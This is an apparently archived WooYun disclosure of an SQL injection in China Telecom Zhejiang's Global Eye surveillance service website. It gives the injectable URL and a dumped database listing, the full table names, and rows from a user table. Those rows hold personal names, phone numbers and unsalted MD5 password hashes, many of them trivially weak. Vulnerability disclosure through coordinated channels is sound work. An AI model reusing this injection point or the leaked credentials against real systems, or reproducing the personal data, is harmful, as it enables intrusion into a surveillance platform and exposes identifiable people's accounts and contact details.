当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-061551

漏洞标题:中国电信浙江分公司-全球眼业务官网存在sql注射

相关厂商:中国电信浙江分公司

漏洞作者: 雅柏菲卡

提交时间:2014-05-30 11:46

修复时间:2014-07-14 11:47

公开时间:2014-07-14 11:47

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-30: 细节已通知厂商并且等待厂商处理中
2014-06-04: 厂商已经确认,细节仅向厂商公开
2014-06-14: 细节向核心白帽子及相关领域专家公开
2014-06-24: 细节向普通白帽子公开
2014-07-04: 细节向实习白帽子公开
2014-07-14: 细节向公众公开

简要描述:

..........

详细说明:

........

漏洞证明:

http://122.228.154.140/showNews!goAllExamplePage.action?showNewsDomain.newstype=3&showNewsParam.newstype=3
available databases [18]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] MSPDB
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PERFSTAT
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] VTTD
[*] WMSYS
[*] XDB
Database: VTTD
[213 tables]
+----------------------------+
| AB_RECV |
| AB_RECV_HIS |
| AB_SEND |
| ALARMDETAIL |
| ALARMINFO |
| ALARMINFOITEMS |
| AREACUMENU |
| AREACUSTOMMAP |
| AREAINFO |
| AREAJOBMENU |
| AREAMAPPING |
| AREAMENU |
| AREAPLATFORMMAPPING |
| AREASYSJOB |
| AREAUSER |
| AUTHPHONE |
| CARINFO |
| CARINFO_BJ |
| CARINFO_WZ |
| CARINFO_ZJDX |
| CENTERRECORDCONFIG |
| CENTERSTORECONFIG |
| CITYINFO |
| CRUISEINFO |
| CRUISEPRESETS |
| CTNTINFO |
| CUMENU |
| CUSTOM |
| CUSTOMAREA |
| CUSTOMCUMENU |
| CUSTOMHIS |
| CUSTOMLOGINLIMIT |
| CUSTOMRIGHT |
| CUSTOMTASK |
| CUSTOMTASKHIS |
| DATADICT |
| DBSVERSION |
| DEVICEINFO |
| DEVICEINFOEX |
| DEVICEPERFORMANCEHIS |
| DEVICEPERFORMANCEHISBAK |
| DEVICEPERFORMANCEHISMONTH |
| DEVICEPERFORMANCEHISWEEK |
| DEVICEPERFORMANCEHISYEAR |
| DEVICESERVICERELATION |
| DEVPERFSTAT |
| DEVPERFSTATEX |
| DIRECTSTORECONFIG |
| DIRECTSTORECONFIG_HIS |
| DIRECTSTOREDISK |
| DOMAIN |
| ECPGEUSER |
| ENTERPRISEINFO |
| EQUIPTYPE |
| ERRORMESSAGE |
| EXCEPTIONREPORT |
| FILEUPLOAD |
| GEACCOUNT |
| GEUSER |
| GEUSERHIS |
| GPSALARMPARAMS |
| GPSPUS |
| GRANTCUSTOMRIGHT |
| HY_RECV |
| HY_SEND |
| INTERFACE_CUSTOM |
| INTERFACE_CUST_ACCP |
| INTERFACE_CUST_ACCP_HIS |
| INTERFACE_SERVICE |
| INTERFACE_SERVICE_ACCP |
| INTERFACE_SERVICE_ACCP_HIS |
| KJ_ALARM |
| KJ_STORECONFIG |
| LOGINFO |
| LOGINFO_MCU |
| LOGININFO |
| MAINTAINFACTORY |
| MAPINFO |
| MAPPOINT |
| MCU_VERSIONINFO |
| MEGAEYESOBJECTS |
| MENUBUTTON |
| MENUINFO |
| MONITORYPOINT |
| MONITORYPOINTHIS |
| MONITORYPOINT_HIS |
| MPCRUISES |
| MPRECORDLINKAGE |
| MPRECORETASKHIS |
| MPUSER |
| MPUSERLOGINLIMIT |
| MPVIDEOLINKAGE |
| NEEDSENDGPSDATA |
| NEEDSENDGPSDATA_BJ |
| NEEDSENDGPSDATA_TEST |
| NEEDSENDGPSDATA_WZ |
| NEEDSENDGPSDATA_ZJDX |
| NEEDSENDGPSDATA_ZJDX_WZ |
| NEWSISSUE |
| NM_ALARMINFO |
| NM_ALARMINFOBAK |
| NM_AREAINFO |
| NM_DOMAIN |
| NM_LOGINFO |
| NM_ROLEINFO |
| NM_ROLEMANAGERANGE |
| NM_SUBSCRIBEALARMINFO |
| NM_TESTCUPU |
| NM_USER |
| NM_USERROLERELATION |
| NM_USERTEMPLATE |
| NM_USERTEMPMANAGERANGE |
| NSINFO |
| NSSHAREDIR |
| ORAMODULEINFO |
| ORAMONITORITEM |
| ORAMONITORSQL |
| OSMONITORITEMINFO |
| OSTYPEINFO |
| PERFORMANCETHRESHOLD |
| PLATFORMDEVICE |
| PLATFORMINFO |
| PLATFORMSTAT |
| PREACCEPTANCE |
| PRESETINFO |
| PRIVATEGROUPMPLIST |
| PRIVATEMPGROUP |
| PUALARM |
| PUALARMPARAMS |
| PUALARMTEMPLATE |
| PUALARM_HIS |
| PUALARM_MAIN |
| PUALARM_OVERSPEED |
| PUALARM_RECORD |
| PUBLICGROUP |
| PUBLICGROUPMODIFY |
| PUBLICGROUPMPLIST |
| PUBLICMPGROUP |
| PUCOORDINATE |
| PUCOORDINATE_HIS |
| PUINFO |
| PUINFO_HIS |
| PUONLINESTATUS |
| PUONLINESTATUSHIS |
| PUONLINETIME |
| PUPERFORMANCEHIS |
| PUROLERIGHT |
| PU_PERF_HIS |
| QUSER |
| QXT_SEND |
| RECORDFILE |
| RECORDTASK |
| RECORDTASKITEMS |
| RECORDTIME |
| ROLEINFO |
| ROLEMPRIGHT |
| ROLEPUAUDIORIGHT |
| ROLESOFTRIGHT |
| ROLEWARNINRIGHT |
| ROLEWARNOUTRIGHT |
| ROLEWARNRIGHT |
| SCRT_CI_CNTCT_INFO |
| SCRT_CI_CNTCT_LINK_CI_MP |
| SCRT_CI_MP |
| SCRT_CUST_INFO |
| SCRT_SYSTEM_LOG |
| SCRT_SYSTEM_PARAMETERS |
| SERVERDOMAIN |
| SERVICEINFO |
| SERVICEMONITORITEM |
| SERVICEPERFORMANCEHIS |
| SERVICEPERFORMANCEHISBAK |
| SERVICEPERFORMANCEHISMONTH |
| SERVICEPERFORMANCEHISWEEK |
| SERVICEPERFORMANCEHISYEAR |
| SERVICESPROVIDERINFO |
| SERVICETEMPLATE |
| SHAREDMONITORYPOINT |
| SHAREDMONITORYPOINT_HIS |
| SHAREDPOINTFORCMS |
| SHAREDPOINTFROMCMS |
| SMSCONFIGURE |
| SMSCONFIGURETIMES |
| SMSRECV |
| SMSRECV_HIS |
| SMSSEND |
| SMSSEND_HIS |
| SMSURL |
| SMSUSER |
| SOFTSERVER |
| STREETINFO |
| SYSERROR |
| SYSPRO_EXINFO |
| SYSTEMPARAMS |
| TASKPOINT |
| TEMPPERFHIS |
| USERACTRECORD |
| USERGROUP |
| USERMPGROUP |
| USERMPPREVIEWGROUP |
| USERONLINESTATUS |
| USERPREPOSITION |
| USERPREVIEWGROUP |
| USERPUGROUP |
| USERRECORDOPERS |
| USERROLE |
| VAU3GFLOW |
| VIDEOPARAM |
| VIDEORECYCLE |
| VIDICON |
| WARNINCHANNEL |
| WARNOUTCHANNEL |
| Z_UPDATE_LATITUDE |
+----------------------------+
Database: VTTD
Table: AREAUSER
[52 entries]
+--------+-------------+--------------------+---------+-------------+-------+---------+-------------+--------+-------------------+---------------+-------------+--------------------+-----------+----------------+----------------------------------+
| AREAID | CREATEDDATE | CREATOR | DEPT | DESCRIPTION | JOBID | MPRIGHT | PHONE | STATUS | STORAGECAPABILITY | STORAGELENGTH | USERACCOUNT | USERID | USERLEVEL | USERNAME | USERPWD |
+--------+-------------+--------------------+---------+-------------+-------+---------+-------------+--------+-------------------+---------------+-------------+--------------------+-----------+----------------+----------------------------------+
| 01 | 17-AUG-11 | 000001300000000001 | NULL | NULL | 10 | 1 | NULL | A | NULL | NULL | None | 000001300000000001 | NULL | test | 25d55ad283aa400af464c76d713c07ad |
| 01 | 14-JUN-12 | 000001300000000001 | NULL | NULL | 20 | 1 | NULL | A | NULL | NULL | None | 000001300000000002 | NULL | yjdx | e10adc3949ba59abbe56e057f20f883e |
| 01 | 25-OCT-12 | 000001300000000006 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000001300000000004 | NULL | 信产公司支撑中心维护专用账号 | b1d50d7305f60c0f9b80e13cadf188e9 |
| 01 | 02-MAY-13 | 000101300000000007 | 温州电信ICT | NULL | 22 | 1 | 15305772050 | A | NULL | NULL | None | 000001300000000006 | NULL | 瞿乐野 | ad87be9af966cdd39ebd94ff556c4504 |
| 01 | 15-JAN-13 | 000001300000000001 | 温州市建设局 | NULL | 21 | 1 | NULL | A | NULL | NULL | None | 000001300000000008 | NULL | 温州市建设局管理员 | c93ccd78b2076528346216b3b2f701e6 |
| 01 | 28-MAR-13 | 000001300000000001 | NULL | NULL | 12 | 1 | NULL | A | NULL | NULL | None | 000001300000000010 | NULL | 信产维护 | e7139bb0416c54c2e1aede8d249a9e73 |
| 01 | 05-JUN-13 | 000001300000000001 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000001300000000011 | NULL | dongzhengyu | d38e0142063122199eccb745054b63a2 |
| 01 | 08-SEP-11 | 000101300000000007 | NULL | NULL | 18 | 1 | 15305779902 | A | NULL | NULL | None | 000001300000000012 | NULL | 高一岗 | e10adc3949ba59abbe56e057f20f883e |
| 01 | 14-MAR-11 | 000101300000000007 | NULL | NULL | 17 | 1 | NULL | A | NULL | NULL | None | 000001300000000013 | NULL | 江城运输 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 01 | 08-SEP-11 | 000101300000000007 | 洞头管理员 | NULL | 19 | 1 | 15305772567 | A | NULL | NULL | None | 000001300000000014 | NULL | 洞头许声杰 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 01 | 30-DEC-11 | 000001300000000006 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000001300000000015 | NULL | 王华 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 12-JUN-12 | 000001300000000001 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000002300000000000 | NULL | 演示 | bd62256ac39f3a8e27588c65d49b73d7 |
| 0101 | 19-APR-13 | 000101300000000007 | NULL | NULL | 22 | 1 | 15305772050 | A | NULL | NULL | None | 000101300000000000 | NULL | 1234 | de88e3e4ab202d87754078cbb2df6063 |
| 0101 | 24-NOV-09 | 000101300000000001 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000001 | NULL | 肖俊 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 24-NOV-09 | 000101300000000001 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000002 | NULL | 陈晓峰 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 24-NOV-09 | 000101300000000001 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000003 | NULL | 1 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 24-NOV-09 | 000101300000000001 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000004 | NULL | 1 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 24-NOV-09 | 000101300000000001 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000005 | NULL | 周建 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 24-NOV-09 | 000101300000000001 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000006 | NULL | 瞿乐野 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 28-OCT-10 | 000001300000000001 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000101300000000007 | NULL | 信产巡检 | e10adc3949ba59abbe56e057f20f883e |
| 0101 | 29-DEC-09 | 000101300000000007 | NULL | NULL | 2 | 0 | NULL | A | NULL | NULL | None | 000101300000000009 | NULL | 1 | e10adc3949ba59abbe56e057f20f883e |
| 0101 | 30-DEC-09 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000010 | NULL | 杜主任 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 22-MAR-10 | 000001300000000001 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000101300000000011 | NULL | 肖绍龙 | 12b68ddeb7c4ae940528aa6a2411bfce |
| 0101 | 10-FEB-10 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000012 | NULL | 夏维 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 23-MAR-10 | 000101300000000007 | NULL | NULL | 3 | 0 | NULL | A | NULL | NULL | None | 000101300000000013 | NULL | 瑞安 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 24-MAR-10 | 000101300000000007 | NULL | NULL | 8 | 0 | NULL | A | NULL | NULL | None | 000101300000000014 | NULL | 乐清 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 07-JUN-11 | 000001300000000001 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000101300000000015 | NULL | 丁立 | 1c63129ae9db9c60c3e8aa94d3e00495 |
| 0101 | 20-APR-10 | 000101300000000007 | NULL | NULL | 5 | 1 | NULL | A | NULL | NULL | None | 000101300000000016 | NULL | 李庆维 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 29-APR-10 | 000001300000000001 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000101300000000017 | NULL | 信产维护 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 22-APR-10 | 000001300000000001 | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000101300000000018 | NULL | 瑞安电信 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 0101 | 18-DEC-12 | 000001300000000001 | 交警 | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000101300000000019 | NULL | None | ed805bc82fd1dfac190d161bde33dc52 |
| 0101 | 12-JUL-10 | 000101300000000007 | 安保部 | NULL | 2 | 1 | 15305771956 | A | NULL | NULL | None | 000101300000000020 | NULL | 闫好喜 | e10adc3949ba59abbe56e057f20f883e |
| 0101 | 21-DEC-09 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 000101300000000021 | NULL | 实业吴一超 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010101 | NULL | NULL | NULL | NULL | 1 | 1 | NULL | A | NULL | NULL | None | 000101300000000022 | NULL | 浙江电信 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010101 | 30-DEC-09 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010101300000000000 | NULL | 轻松 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010101 | 15-MAR-10 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010101300000000001 | NULL | 林剑 | c33367701511b4f6020ec61ded352059 |
| 010102 | 13-APR-10 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010101300000000002 | NULL | 王红卫 | e10adc3949ba59abbe56e057f20f883e |
| 010115 | 24-MAY-10 | 000101300000000007 | NULL | NULL | 10 | 1 | NULL | A | NULL | NULL | None | 010102300000000000 | NULL | 瑞安 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010135 | 09-JUN-10 | 000001300000000001 | NULL | NULL | 12 | 1 | NULL | A | NULL | NULL | None | 010115300000000000 | NULL | 乐清电信 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010136 | 12-DEC-10 | 000001300000000001 | NULL | NULL | 13 | 1 | NULL | A | NULL | NULL | None | 010135300000000000 | NULL | green | 827ccb0eea8a706c4c34a16891f84e7b |
| 010136 | 12-NOV-09 | 000001300000000001 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010136300000000000 | NULL | 浙江信产 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010137 | 12-NOV-09 | 000001300000000001 | NULL | NULL | 3 | 1 | NULL | A | NULL | NULL | None | 010136300000000001 | NULL | 瑞安电信 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010138 | 19-NOV-09 | 000001300000000001 | NULL | NULL | 4 | 1 | NULL | A | NULL | NULL | None | 010137300000000000 | NULL | 1 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010139 | 20-NOV-09 | 000001300000000001 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010138300000000000 | NULL | wzdx | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010142 | 25-NOV-09 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010139300000000000 | NULL | 信厂 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010147 | 27-NOV-09 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010142300000000000 | NULL | 1234 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010147 | 03-DEC-09 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010147300000000000 | NULL | 1 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010149 | 07-DEC-09 | 000001300000000001 | NULL | NULL | 6 | 1 | NULL | A | NULL | NULL | None | 010147300000000001 | NULL | 平阳 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 010150 | 24-DEC-09 | 000101300000000003 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010149300000000001 | NULL | 普通测试 | 83422503bcfc01d303030e8a7cc80efc |
| 012151 | 30-JUN-10 | 000101300000000007 | NULL | NULL | 2 | 1 | NULL | A | NULL | NULL | None | 010150300000000000 | NULL | 赵颖武 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 012151 | 05-AUG-10 | 000101300000000007 | NULL | NULL | 3 | 1 | NULL | A | NULL | NULL | None | 012151300000000000 | NULL | 慈林 | 81dc9bdb52d04dc20036dbd8313ed055 |
| 02 | 14-MAR-11 | 000101300000000007 | NULL | NULL | 16

修复方案:

版权声明:转载请注明来源 雅柏菲卡@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-04 10:15

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT直接通报中国电信集团公司,由其后续下发给省公司处置。

最新状态:

暂无